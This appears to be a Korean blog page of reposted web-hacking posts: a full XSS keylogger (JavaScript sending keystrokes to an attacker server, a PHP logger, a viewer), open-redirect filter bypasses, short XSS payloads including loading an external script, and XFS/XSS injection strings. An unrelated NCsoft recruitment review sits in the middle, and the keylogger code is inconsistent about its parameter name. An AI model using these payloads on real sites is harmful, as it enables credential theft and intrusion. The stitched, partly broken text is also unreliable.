반응형

출처: http://www.hahwul.com/2016/06/web-hacking-making-xss-keyloggerxss.html



오늘은 공격을 통한 영향력 측면에서 바로 사용자의 키 입력을 가로채는 Keylogger를 간단하게 만들어볼까합니다. 물론 악용하시면 안됩니다. 연구적인 측면에서 해보시길 바랍니다.


Keylogger의 원리

전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. 요즘 시대에는 Web이 많이 사용되고 있고, 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야할 판입니다.

OS단 Keylogger 와는 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 Event Handler로 받아낼 수 있으니깐요 :)

자 크게 그림을 보면 이런 느낌이겠네요. XSS(Keylog)가 삽입된 페이지에 사용자가 접근하여 키보드를 누를 때 onkeypress 등등 여러가지 keyboard event가 발생합니다. 이 발생한 값에는 입력한 키보드 값이 존재하며 이를 원격지 서버로 전송만해주면 됩니다.
(onkeypress는 xss 공격 자체에도 쓰이고, 웹에서 enter 키 누르면 검색되게 하는데 그 부분에도 사용되지요)


Keylogger XSS 만들기(./vuln.html : Client : HTML)

자 이제 onkeypree를 이용해서 간단한 코드를 만들어보겠습니다.
가상으로 XSS가 삽입된 페이지처럼 <script> 태그를 넣어놨습니다.

여기에 onkeypress를 받으면 buffer에 입력된 값을 넣는 코드를 작성합니다.
(enter는 보기편하라고 해놓았습니다.)


var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {

이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠.
(img 태그의 src 부분은 이미지의 주소를 의미하며 이미지던, txt 던 파일이 없던 무조건 접근합니다.
따라서 웹 서버는 그 로그값을 받아 처리하면 되지요)


window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);

자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.

vuln.html


<html><body>

<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>

<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
 {
 buffer = " --> [Enter]\n"
 }
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);
</script></body></html>



Keylogger Server 만들기(./proc.php : Server : PHP)

사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다.
아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.


<?php
if(!empty($_GET['key'])) {
    $logfile = fopen('./data.txt', 'a+');
    fwrite($logfile, $_GET['key']);
    fclose($logfile);
}
?>

data.txt 파일을 읽어보면..
#> cat data.txt 

test --> [Enter]
www.hahwul.com --> [Enter]


Keylogger Viewer 만들기(./index.html : Server : HTML)

proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다.
간단하게 HTML로 Viewer를 작성해봅니다.


<html>
<body>

<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
 parent.log.location.href="./data.txt";
 setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>

iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다.

정말 심플하죠 :)


Run!

이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요. 간단하게 영상으로 꾸며봤습니다.








http://ncsoft-jk.jobkorea.co.kr/ExplainDetail/513/13059

엔씨소프트 채용설명회 후기

설명회일시 2015.10.14 l 장소 서울대학교 l 등록일 2015.10.15

요즘 게임을 하다 보면 그래픽이나 기술이 아주 좋아서 마치 가상세계에 들어온 것 같은 기분이 들 때가 있는데요. 이렇듯 현실 세계와는 또 다른 세상을 상상력 하나로 만들어 내는 게임 회사가 있습니다. 바로 리니지 열풍의 주인공 엔씨소프트인데요. 

게임이라는 공간 속에 새로운 세상, 캐릭터, 이야기까지 내 손으로 만들어 내는 회사, 정말 멋지지 않나요? 그렇다면 함께 그 설명회 현장 속으로 입장해보아요! 
잡코리아 박희주 인턴기자

브로슈어 다운로드

주요 이미지

㈜엔씨소프트 의 주요 이미지


입사 해야하는 이유, No.3


1. 온라인 게임 리더, 엔씨소프트

엔씨소프트는 세계 최고의 개발 기술력과 서비스 역량을 보유한 온라인 게임 리더입니다. 1997년 설립, 리니지를 시작으로 인터넷 기반 온라인 게임의 대중화를 이끌었으며, 국외 시장을 개척, 아시아, 북미, 유럽 등에 글로벌 네트워크를 확보해 나가고 있습니다. 엔씨소프트가 꿈꾸는 것은 세상 사람들을 더 즐겁게 만드는 것입니다. 온라인 세상을 뛰어넘어 즐거움으로 연결된 새로운 세상을 만들어 나가고자 합니다.

2. 우주정복을 꿈꾸는 엔씨소프트

우리는 남들이 만들려는 것을 똑같이 개발하려는 것이 아닙니다. 항상 우리는 우리가 꿈꾸는 새로운 세계를 만들어나가야 하고 이것이 우주정복을 의미합니다. 남들이 가지 않으려는 별을 가려고 하는 것입니다. 그 별에 한 번 구경하기 위해서가 아니라 정복하기 위해서 가는 것입니다. 그 별을 낙원, 꿈의 나라로 만들어 그 별을 방문한 사람들에게 감동을 주는 것이 정복입니다.

3. 일하기 좋은 근무환경

판교 테크노벨리에 있는 엔씨소프트는 시설이 좋기로 유명합니다. 사내 도서관이 있는데 18,000권 정도를 보유하여 회사 도서관치고 장서가 많습니다. 또 게임회사다 보니 도서관에 플레이스테이션도 있습니다. PC룸도 따로 있어서 개발실 분들은 일하시다가 지치면 도서관에 와서 게임을 하기도 합니다. 그 외에도 사내에 피트니스 센터, 스파, 어린이집, 메디컬 센터가 갖춰져 있습니다. 개발하시는 분들은 계속 앉아서 일하므로 허리가 안 좋을 수 있는데 그분들을 위해 물리치료나 엑스레이를 찍는 공간도 있습니다.


기업소개

1. 기업소개

엔씨소프트는 세계 최고의 개발 기술력과 서비스 역량을 보유한 온라인 게임 리더입니다.
1997년 설립, 리니지를 시작으로 인터넷 기반 온라인 게임의 대중화를 이끌었으며, 해외 시장을 개척, 아시아, 북미, 유럽 등에 글로벌 네트워크를 확보해 나가고 있습니다.

국내 최초의 인터넷 기반 온라인 게임 리니지를 시작으로, 리니지2, 길드워, 아이온, 블레이드 & 소울, 길드워2까지 글로벌 온라인 게임 시장의 중심에 엔씨소프트가 있습니다. 온라인 세상의 즐거움을 확장해 나가기 위한 프로야구 제 9단 NC 다이노스 창단까지, 엔씨소프트는 세상 사람들을 더 즐겁게 만들기 위해 끊임없이 도전하고 있습니다.
지속적인 연구개발 투자와 적극적인 해외시장 개척을 통해 세계적인 기업으로 성장하고, 늘 새로운 변화와 즐거운 내일을 꿈꾸는 엔씨소프트를 그려 나가겠습니다.

2. 비전

엔씨소프트가 지향하는 궁극적인 목적은 즐거움으로 연결된 새로운 세상을 만들고, 지구촌 한 사람이라도 더 즐겁게 연결하는 것 - 세상 사람들의 서로의 삶에 즐거움을 엮는 것입니다.

3. 복리후생

- 엔씨 복지카드
- 종합 메디컬플랜
- 사내식당 운영
- 콘도미니엄 운영
- 사내 동호회 지원
- 주택자금, 생활안정자금 지원
- 어린이집 운영
- Fitness Center 운영

인사 담당자 현장 인터뷰

놓치면 앙~대요! Q&A Top5

엔씨소프트의 채용 일정이 어떻게 되나요?

10월 10일부터 10월 23일 오후 5시까지 지원서신청을 받고요. 11월에 온라인으로 NC Test를 봅니다. 그러고 나서 11월 말에 1차로 실무진 면접을 보게 되고요. 12월 초에 2차로 임원 면접을 보게 됩니다. 최종합격은 12월 중순에 날 것 같고요. 입사는 내년 1월에 하게 돼요.

자기소개서에 Tip을 주신다면 어떤 게 있을까요?

저희는 무조건 자기소개서를 봐요. 학점은 전혀 안 보고요. 학과도 안 걸러 내요. 자기소개서 문항들은 핵심과 역량에 관한 건데요. 가장 중요한 건 2번 문항이에요. 지원한 분야의 전문성과 역량을 갖추기 위해 본인이 노력했던 경험과 그 결과에 대하여 구체적으로 서술하란 건데요. 꼭 게임에 관한 게 아니어도 좋고 큰 경험이 아니어도 좋으니 작은 거 하나라도 본인이 실제로 발전했던 경험을 써주셨으면 좋겠어요. 예를 들어 수업시간에 프로젝트 하나라도 관련된 경험이 있다면 말이에요.

NC Test는 무엇인가요?

보통 생각하시는 인적성 검사에요. 신입 공채는 인성검사, 적성검사, 직무능력평가 이렇게 3교시로 이루어져 있어요. 인성검사와 적성검사는 시중 서점에 나와 있는 문제집과 비슷한 유형이고요. 직무능력평가는 게임사업 지원이면 비즈니스 개념, 게임개발이면 코딩 능력 등 직무별로 다른 거를 물어볼 거에요.

1차 면접은 어떻게 진행되나요?

1차 면접은 직무에 대한 전문성, 기술, 역량에 대한 심층 면접이에요. 직무에 따라 PT 면접, 필기테스트 등 복합적으로 진행합니다. 多:多로 진행될 거고요. 근데 프로그래밍 직무는 NC Test에서 코딩능력을 평가했어도 1차 면접에서 종이나 컴퓨터로 또 코딩할 수도 있으니 염두에 두세요.

2차 면접은 어떻게 진행되나요?

2차 면접은 인성면접으로 회사랑 얼마나 맞는지와 발전 가능성을 봐요. 근데 프로그래밍 직군은 여기서 또 프로그래밍 실력을 평가할 수도 있어요. 임원분들도 개발자 마인드가 강해서 아무리 인성면접이라고 해도 그 실력을 궁금해하세요. 그래서 종이 주고 코딩해보라고 하실 수도 있어요. 모두 그런 건 아니지만요. 프로그래밍 분들은 영원히 코딩과 함께라고 생각하시면 돼요. (웃음)


채용

이번에 어떤 직무를 채용하나요?

총 17개의 직무를 뽑아요. 간략하게 말씀드리면 Development, Business, System&Information, Management Supporting, 엔씨문화재단 직군에서 뽑고 있어요. 10월 10일부터 접수를 시작했으니 홈페이지를 통해 세부적인 직무를 확인해 주세요.

이공계가 아닌 전공은 어디로 지원 가능한가요?

경영지원이나 게임사업, 게임기획 직무를 많이 지원하십니다.

엔씨소프트의 채용 일정이 어떻게 되나요?

10월 10일부터 10월 23일 오후 5시까지 지원서신청을 받고요. 11월에 온라인으로 NC Test를 봅니다. 그러고 나서 11월 말에 1차로 실무진 면접을 보게 되고요. 12월 초에 2차로 임원 면접을 보게 됩니다. 최종합격은 12월 중순에 날 것 같고요. 입사는 내년 1월에 하게 돼요.

각 전형별로 몇 배수인지 알 수 있을까요?

NC Test는 최종합격자의 30~40배수이고요. 1차 면접은 최종합격자의 7~8배수, 2차 면접은 최종합격자의 3~5배수 정도일 거예요.


서류전형

자기소개서에 Tip을 주신다면 어떤 게 있을까요?

저희는 무조건 자기소개서를 봐요. 학점은 전혀 안 보고요. 학과도 안 걸러 내요. 자기소개서 문항들은 핵심과 역량에 관한 건데요. 가장 중요한 건 2번 문항이에요. 지원한 분야의 전문성과 역량을 갖추기 위해 본인이 노력했던 경험과 그 결과에 대하여 구체적으로 서술하란 건데요. 꼭 게임에 관한 게 아니어도 좋고 큰 경험이 아니어도 좋으니 작은 거 하나라도 본인이 실제로 발전했던 경험을 써주셨으면 좋겠어요. 예를 들어 수업시간에 프로젝트 하나라도 관련된 경험이 있다면 말이에요.

입사지원서에 사회경험을 쓰는 칸이 있던데 직무와 관련 없는 걸 써도 되나요?

아니요. 사회경험인 인턴, 아르바이트, 자격증, 입상 경력 등은 꼭 직무에 관련된 것만 써주세요. 관련 없는 건 죄송하지만 메리트가 없을 거예요.


인적성 전형

NC Test는 무엇인가요?

보통 생각하시는 인적성 검사에요. 신입 공채는 인성검사, 적성검사, 직무능력평가 이렇게 3교시로 이루어져 있어요. 인성검사와 적성검사는 시중 서점에 나와 있는 문제집과 비슷한 유형이고요. 직무능력평가는 게임사업 지원이면 비즈니스 개념, 게임개발이면 코딩 능력 등 직무별로 다른 거를 물어볼 거에요.


면접 전형

1차 면접은 어떻게 진행되나요?

1차 면접은 직무에 대한 전문성, 기술, 역량에 대한 심층 면접이에요. 직무에 따라 PT 면접, 필기테스트 등 복합적으로 진행합니다. 多:多로 진행될 거고요. 근데 프로그래밍 직무는 NC Test에서 코딩능력을 평가했어도 1차 면접에서 종이나 컴퓨터로 또 코딩할 수도 있으니 염두에 두세요.

2차 면접은 어떻게 진행되나요?

2차 면접은 인성면접으로 회사랑 얼마나 맞는지와 발전 가능성을 봐요. 근데 프로그래밍 직군은 여기서 또 프로그래밍 실력을 평가할 수도 있어요. 임원분들도 개발자 마인드가 강해서 아무리 인성면접이라고 해도 그 실력을 궁금해하세요. 그래서 종이 주고 코딩해보라고 하실 수도 있어요. 모두 그런 건 아니지만요. 프로그래밍 분들은 영원히 코딩과 함께라고 생각하시면 돼요. (웃음)


회사

엔씨소프트의 게임 라인업이 어떻게 되나요?

대표 시리즈는 아시다시피 리니지 시리즈고요. 1998년에 개발되어서 지금까지 회사의 주 수입원인 고마운 게임입니다. 이어서 AION이라는 게임이 출시되었는데 몇십 주간 피시방 점유율 1위를 선점하고 있고요. 그 후에 Guild Wars와 Wild star 등도 런칭했어요. 

사장님과 개발실 특성상 개발 시간이 오래 걸리더라도 깊이 파는 성격이라서 출시가 조금 늦어져 내년에 발표할 게임이 있어요. 그래서 이번에 신입 공채로 들어오시면 엔씨소프트의 또 한 번의 성장을 함께하실 수 있으실 겁니다. (웃음)

회사 인원이 몇 명 정도 되나요?

판교 본사 인원은 2,200명 정도고요. 글로벌로 따지면 총 3,000명 정도가 엔씨소프트에서 일하고 있습니다. 남녀 비율은 7:3이고요. Art, 게임기획, 프로그래밍 등 개발 인력이 7이라고 하면 비 개발 인력은 3으로 7:3 비율이에요.

입사 후 신입 교육은 어떻게 진행되나요?

공채교육이라고 해서 3~4주간 진행되는 교육이 있어요. 저는 게임 개발 경험이 없었는데 게임을 만들었어요. 비 개발 직무라고 해도 게임회사다 보니 게임 관련한 것들을 경험할 수 있게 해주는 편이에요. 또 직무별로 팀장, 과장님들이 나오셔서 회사 돌아가는 걸 설명해주세요. 

이런 회사 전체 교육이 끝나면 직무별로 교육이 진행되는데요. 게임기획 분들은 새로 시작하는 게 많으므로 한 달 정도 집중적으로 교육을 진행한다고 해요. 또한 프로그래밍 직무 분들도 2~3주 정도 교육을 따로 더 한다고 들었어요.


직무

Programming 자연어처리, Game AI 직무는 석사학위가 있어야 하나요?

네. 이 두 개 직무는 학사 지원은 불가하고요. 꼭 석사 학위가 있으셔야 공채 지원이 가능합니다. 특히 AI 쪽은 커리큘럼 자체가 석사를 따지 않고서는 알 수 없다고 하시더라고요.

잡코리아 채용설명회 인턴기자 박희주의 Tip 

엔씨소프트에 대해 더 많은 정보를 알고 싶으시다면 홈페이지뿐만 아니라 블로그와 페이스북도 운영하고 있다고 하니 참고하시길 바랍니다!


반응형
반응형

출처: http://www.hahwul.com/2015/11/web-hacking-url-redirection-url.html


URL Redirection, URL Forwarding 이라고도 부르는 이 취약점(?) 공격 방법은 사용자로 하여금 의도하지 않은 페이지로 이동시키는 목적을 가지는 공격 방법입니다.

대게 로그인, 로그아웃부터 각종 페이지 이동 파라미터 등 XSS 와 비슷하게 웹 침투 시 많이 찾아낼 수 있는 취약점입니다. 페이지를 이동하여 악성코드 배포지나 Exploit 가 삽입된 페이지 등으로 강제 이동시켜 이후에 공격을 성공시키기 위한 발판으로 사용할 수 있습니다. 


간단하게 원리 설명하고 바로 우회 패턴으로 넘어갈까 합니다. 

URL Redirection 의 원리와 대응 방안

원리 자체는 매우 단순합니다. 

페이지를 이동 시키는 요청에 대해 위조된 url 값을 넘겨주어 피해자가 다른 사이트로 넘어가도록 유도합니다. 

Location 헤더나, javascript(document.location.href) 등 에 남을 때 해당 부분에 악성 URL 주소가 들어가게 되고, 사용자는 바로 해당 주소로 넘어가게 됩니다.

대응 방법은 아주 간단합니다. 파라미터에 대한 검증 절차 만으로도 쉽게 막아낼 수 있습니다. 
서비스에서 허용하는 페이지에 대해서만 Redirection 시키도록 하거나 이전 페이지(Referer 헤더)에 대한 검증으로 해결이 가능합니다.


URL Redirection 우회 기법

URL Redirection 의 취약점 설명이나 대응 방안을 소개하기 위해 이 글은 적은 것은 아닙니다. 
그래서 소개랑 대응을 굉장히 간단하게 적었지요. 제가 여러가지 테스트를 하다 보니, 간단하고 쉽게 우회되는 Case가 좀 많았습니다. 

분명 취약 페이지들은 Redirection에 대한 검증을 하는 페이지이지만, 간단한 방법으로 우회가 가능합니다. 

1. 하위 도메인(cname)을 이용한 우회 기법

대체로 redirection 에 대해 제어할 수 있는 파라미터에 대해 문자열로 비교를 하게 되는데 이 점을 이용한 방법입니다. 

간단하게 redirection 이 가능한 php 코드를 가지고 설명하도록 하겠습니다. 

test.php


<?
$url = $_GET['url'];
echo "<script>document.location.href='".$url.'";</script>"
?>


이라고 하면 우리는 get 요청을 통해 url 파라미터에 원래 기능과는 다른 url 주소를 호출하여 URL Redirection 이나 XSS 취약점에 사용할 수 있습니다.

original code: /test.php?url=this_site_page

여기서 개발자는 filter라는 함수를 만들어서 url에 대한 검증을 하게 되지요.


<?
$url = $_GET['url'];
$url = filter($url); // filter 함수는 문자열을 비교하여 white list 기반 필터링을 수행
// url 값이 this_site_page 인지 확인
echo "<script>document.location.href='".$url.'";</script>"
?>


이 때 공격자는 아래와 같이 우회할 수 있습니다.

Attack code: /test.php?url=this_site_page.malwareurl

이러면 

this_site_page 의 상단 도메인으로 악의적인 url이 들어가고, php는 this_site_page 주소만 확인하여 필터링하지 않습니다. 
이러한 방법으로 URL에 대해 검증하는 페이지를 우회할 수 있습니다. 

2. 위조 파라미터를 통한 우회 기법

1번에서 소개한 cname 을 통한 조치하거나, 일반적으로 정확하게 검증되지 않은 사이트에 유효한 방법입니다. 
개인적인 생각으로는 1번보다 활용성이 더 좋다고 봅니다. 

이번 방법도 아주 간단합니다. 바로 필터링하는 부분을 파라미터로 넘기는 방법입니다. 
이러한 방법을 사용할 경우 도메인을 검증하기 위해 맨 끝 부분부터 처리하는 경우 우회가 가능하고, 일반적인 문자열 비교 방법도 우회가 가능합니다. 

위에랑 동일한 예시로 진행하겠습니다.


<?
$url = $_GET['url'];
$url = filter($url); // filter 함수는 문자열을 비교하여 white list 기반 필터링을 수행
// url 값이 this_site_page 인지 확인 / this_site_page 주소가 맨 끝에 있는지 확인
echo "<script>document.location.href='".$url.'";</script>"
?>


이런식으로 this_site_page 주소가 맨 끝에 있는지 확인하는 필터링이 있다고 가정합니다. 
필터링을 패스하기 위해 white list 에 있는 페이지를 맨끝에 위치하고, 원하는 도메인으로 넘기기 위해 this_site_page 주소를
파라미터로 넘깁니다.

Attack code: /test.php?url=malwareurl/?.this_site_page

이러한 방법으로 요청 시 php는 마지막에 있는 this_site_page만 보고 정상 site 로 확인하여 Redirection 시키게 됩니다. 


우회 기법에 대한 대응
사실 위에 우회 방법은 굉장히 간단하지만 대응하기는 약간 까다로운 면이 있습니다.

White List 기반 필터링을 적용하되 유의 사항이 존재합니다. 

1. 정규표현식이나, 문자열 비교를 통해 정확한 Domain 주소 확인
말로는 한줄로 적어지나, 실제로 바로 만들려고 하면 시간이 좀 걸릴 수 있는 부분입니다. 
정확하게 실제 도메인이 의미하는 부분만 뽑아내어 비교하는 방법으로 해결이 가능합니다. 

2. 입력값된 도메인에 대해 IP주소를 확인합니다.
정규표현식/문자열 비교에 비해 구현은 단순하지만, 실제로 서버에 어느정도 무리가 생길지 모르겠네요.

※ 정확하게 도메인에 대한 검증이 필요


반응형
반응형

출처:http://www.hahwul.com/2014/08/xss-short-xsscross-site-script-xss.html



Short XSS

XSS에 대한 체킹을 하다보면 특수문자나 구문에 대해 필터링이 이루어지지는 않지만
입력 글자 수 제한 등 여러가지 난관에 막힙니다.


그 중 입력 글자 수 제한에 대해 우회하는 방법에 대한 이야기입니다.

1) 외부 링크에서 코드 호출하기(Calling code from external links)
짧은 주소의 도메인을 가지고 있을 시 가능합니다.

<script src=//url.u/x.js></script>

공격코드 자체를 x.js  같이 파일로 생성해두고 사용하는것이 방법으로 길이에 대한 필터링을 빗겨갈 수 있습니다.


2) XSS 삽입부분 다수일때 주석 활용하기(Use comment out)
한 페이지에서 XSS는 여러부분에 대해 삽입이 가능한 경우가 많습니다.

입력이 가능한 부분이 name, age 라는 파라미터라고 가정하였을때 아래와 같은 형식으로 공격구문을 작성합니다.

name: <script>alert(1)<!--
age: --></script>

두 파라미터가 삽입되는 지점 사이에 html 코드들은 주석처리되며 alert 구문만 동작시킬 수 있습니다. 위 경우는 삽입구문 내 <!-- --> 를 통한 주석구문이 없어야됩니다.

3) 취약 속성사용이 가능할 때 의미없는 태그 사용(Meaningless HTML tags)
onclick, onmouseover, onkeyup 등 XSS 사용가능한 속성은 매우 많습니다.
이와같은 속성은 태그 종류에 상관없이 사용이 가능하기 때문에 간단한 테스트 시 많이 사용합니다.

<x onclick=alert(1)>
<b onkeyup=alert(1)>

위와같이 x, b 등 의미없는 태그를 이용하여 공격코드의 길이를 줄일 수 있습니다.

위 방법이외에도 다양한 방법으로 XSS 필터링 및 입력 범위 제한에 대해 우회가 가능합니다. 조금이나마 도움이 되었으면 합니다.

감사합니다. ;)

반응형
반응형

출처: http://www.hahwul.com/2015/07/web-hacking-xsscross-site-script.html


웹 해킹으로 먹고 살기에 어김없이 보던 중 최근 WVS 결과를 보고 재미있는 사실을 알았습니다.
바로 XSS 와 함께 Cross Frame Script를 보게되었는데, XFS는 처음 들어본 단어였습니다.

XSS와 유사하지만 약간 달라서 XFS라고 명시하고 따로 부르는 듯 합니다.
찾아보니 OWASP에서도 정확하게 명시되어 있었네요..

XFS란?

Cross-Frame Scripting (XFS) is a method of exploiting Cross-site Scripting (XSS). In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker's page loads a third-party page in an HTML frame; and then javascript executing in the attacker's page steals data from the third-party page.
XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a Cross Site Scripting Flaw to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.
-OWASP web site-

XSS와 XFS 차이


둘의 차이는 간단합니다. 더 말하자면 XSS가 발생범위가 더 크다고 봅니다. XFS가 발생하는 부분에는 대다수 XSS가 동일하게 들어가기 때문입니다.
XFS는 웹에서 받은 파라미터를 iframe 태그 내 src 속성에 전달하여 사용하는 과정에서 취약점이 발생합니다.

/viewer?page=/test/index.html 과 같은 형태로 viewer 페이지에 page 파라미터를 통해 전달할 때 아래와 같이 노출되는 기능이 있다고 가정합니다.

output
<iframe src="/test/index.html" width=100 height=100></iframe>

위와 같은 형태라면 page 파라미터를 조작하여 공격자가 의도한 페이지로 iframe 링크를 걸 수 있는 XFS 공격구문 구성이 가능합니다.

XFS(Cross Frame Script)
/viewer?page=http://www.codeblack.net

output
<iframe src="http://www.codeblack.net" width=100 height=100></iframe>

해당 부분에서 XSS의 경우에는 javascript 를 이용하거나 html 태그, 속성을 이용하여 공격이 가능할 것입니다.
XSS(Cross Site Script)

input : /viewer?page=javascript:alert(45)
output : <iframe src="javascript:alert(45)" width=100 height=100></iframe>

input : /viewer?page="><script>alert(45)</script><hahwul a="1
output : <iframe src=""><script>alert(45)</script><hahwul a="1" width=100 height=100></iframe>

input : /viewer?page=xss" onload=alert(45) a="
output : <iframe src="xss" onload=alert(45) a="" width=100 height=100></iframe>

두 취약점 모두 유사한 형태이지만 XFS는 단순히 frame 을 통해 다른 도메인으로 연결이 가능할 때 취약하고, XSS는 좀 더 넓게 다른 도메인 및
페이지내에서 스크립트 실행이 직접적으로 가능한 경우도 포함하기 때문에 XSS가 더 risk 가 높은 취약점이라고 이야기 할 수 있습니다.

비슷한 듯 다른 두 공격방법에 대한 이야기였습니다. 감사합니다 :)

반응형

+ Recent posts